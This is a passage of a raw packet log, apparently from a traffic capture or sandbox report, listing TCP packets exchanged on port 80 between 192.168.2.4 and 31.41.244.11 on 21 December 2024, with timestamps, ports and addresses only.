Dec 21, 2024 18:16:13.418067932 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.418858051 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.418908119 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.419035912 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.419084072 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.419940948 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.419986010 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.420032978 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.420080900 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.421031952 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.421082973 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.421129942 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.421179056 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.422291994 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.422341108 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.422389984 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.422439098 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.423182964 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.423233986 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.423283100 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.423331976 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.424247980 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.424298048 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.424355030 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.424403906 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.425386906 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.425441980 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.425488949 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.425539970 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.426467896 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.426506042 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.426527023 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.426563978 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.427661896 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.427773952 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.427838087 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.428827047 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.428877115 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.428915977 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.428980112 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.429641008 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.429771900 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.429817915 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.430705070 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.430753946 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.430761099 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.430808067 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.431750059 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.431798935 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.431938887 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.431994915 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.432841063 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.432893038 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.432950974 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.433082104 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.433976889 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.434034109 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.434068918 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.434118032 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.434979916 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.435045004 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.435096025 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.435137987 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.436058044 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.436187029 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.436253071 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.437165976 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.437232018 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.437277079 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.437326908 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.438220024 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.438271046 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.438328028 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.438374996 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.439289093 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.439348936 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.439429998 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.439547062 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.440443039 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.440496922 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.440562963 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.440763950 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.441396952 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.441452026 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.577267885 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.577334881 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.577342987 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.577394009 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.577435017 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.577497005 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.577640057 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.577699900 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.577723980 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.577778101 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.578804016 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.578857899 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.578928947 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.578984976 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.579904079 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.580019951 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.580024958 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.580073118 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.580965042 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.581013918 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.581078053 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.581127882 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.582042933 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.582094908 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.582098961 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.582138062 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.583132982 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.583184004 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.583268881 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.583324909 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.584141016 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.584186077 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.584290981 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.584337950 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.585256100 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.585304976 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.585419893 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.585469007 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.586298943 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.586349010 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.586463928 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.586514950 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.587428093 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.587485075 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.587537050 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.587585926 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.588434935 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.588485003 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.588548899 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.588598013 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.589510918 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.589560986 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.589602947 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.589654922 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.590555906 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.590651035 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.590703964 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.590753078 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.591659069 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.591710091 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.591753006 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.591803074 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.592783928 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.592828989 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.592895985 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.592945099 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.593765020 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.593815088 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.593879938 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.593930006 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.594845057 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.594894886 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.594928980 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.594969988 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.595906019 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.595956087 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.596021891 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.596070051 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.597012997 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.597063065 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.597125053 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.597174883 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.598105907 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.598160028 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.598186970 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.598248005 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.599153042 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.599203110 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.599262953 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.599318027 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.600239038 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.600294113 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.600358009 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.600406885 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.601289034 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.601340055 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.601398945 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.601447105 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.602385998 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.602433920 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.602511883 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.602570057 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.603449106 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.603499889 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.603566885 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.603616953 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.604521036 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.604569912 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.604621887 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.604672909 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.605608940 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.605659962 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.605691910 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.605737925 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.606661081 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.606710911 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.606821060 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.606877089 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.607754946 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.607805967 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.607868910 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.607918978 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.608994961 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.609046936 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.609087944 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.609136105 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.609903097 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.609951973 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.610018969 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.610065937 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.610966921 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.611017942 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.611021996 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.611069918 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.612066031 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.612157106 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.612162113 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.612205982 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.613140106 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.613188982 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.613231897 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.613280058 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.614263058 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.614311934 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.614480972 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.614528894 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.615277052 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.615329027 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.615394115 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.615443945 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.616396904 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.616456032 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.616568089 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.616617918 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.617458105 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.617511988 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.617578983 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.617624998 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.618510008 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.618582010 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.618643045 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.618695974 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.619642973 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.619680882 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.619705915 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.619726896 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.620670080 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.620750904 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.620765924 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.620825052 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.621802092 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.621867895 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.621917963 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.621970892 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.622803926 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.622929096 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.622942924 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.623092890 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.623877048 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.623939991 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.624056101 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.624124050 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.625257015 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.625324011 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.625540972 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.625606060 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.626084089 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.626146078 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.626211882 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.626265049 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.627129078 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.627192020 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.627255917 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.627310038 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.628223896 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.628292084 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.628313065 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.628367901 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.629292011 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.629355907 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.629389048 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.629435062 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.630379915 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.630428076 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.630434990 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.630474091 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.631427050 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.631477118 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.631541967 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.631587982 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.632507086 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.632553101 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.632617950 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.632672071 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.769484043 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.769536972 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.769558907 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.769737005 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.769778967 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.769826889 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.770642042 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.770699978 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.770767927 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.770823002 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.771713018 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.771766901 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.771836042 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.771888018 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.772854090 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.772906065 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.772958994 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.773011923 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.773866892 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.773924112 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.773989916 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.774044037 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.774956942 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.775012970 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.775069952 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.775121927 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.776057005 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.776113033 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.776171923 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.776223898 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.777107954 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.777160883 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.777163982 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.777224064 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.778187037 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.778244972 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.778284073 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.778335094 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.779304981 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.779362917 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.779484987 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.779539108 CET	49770	80	192.168.2.4	31.41.244.11
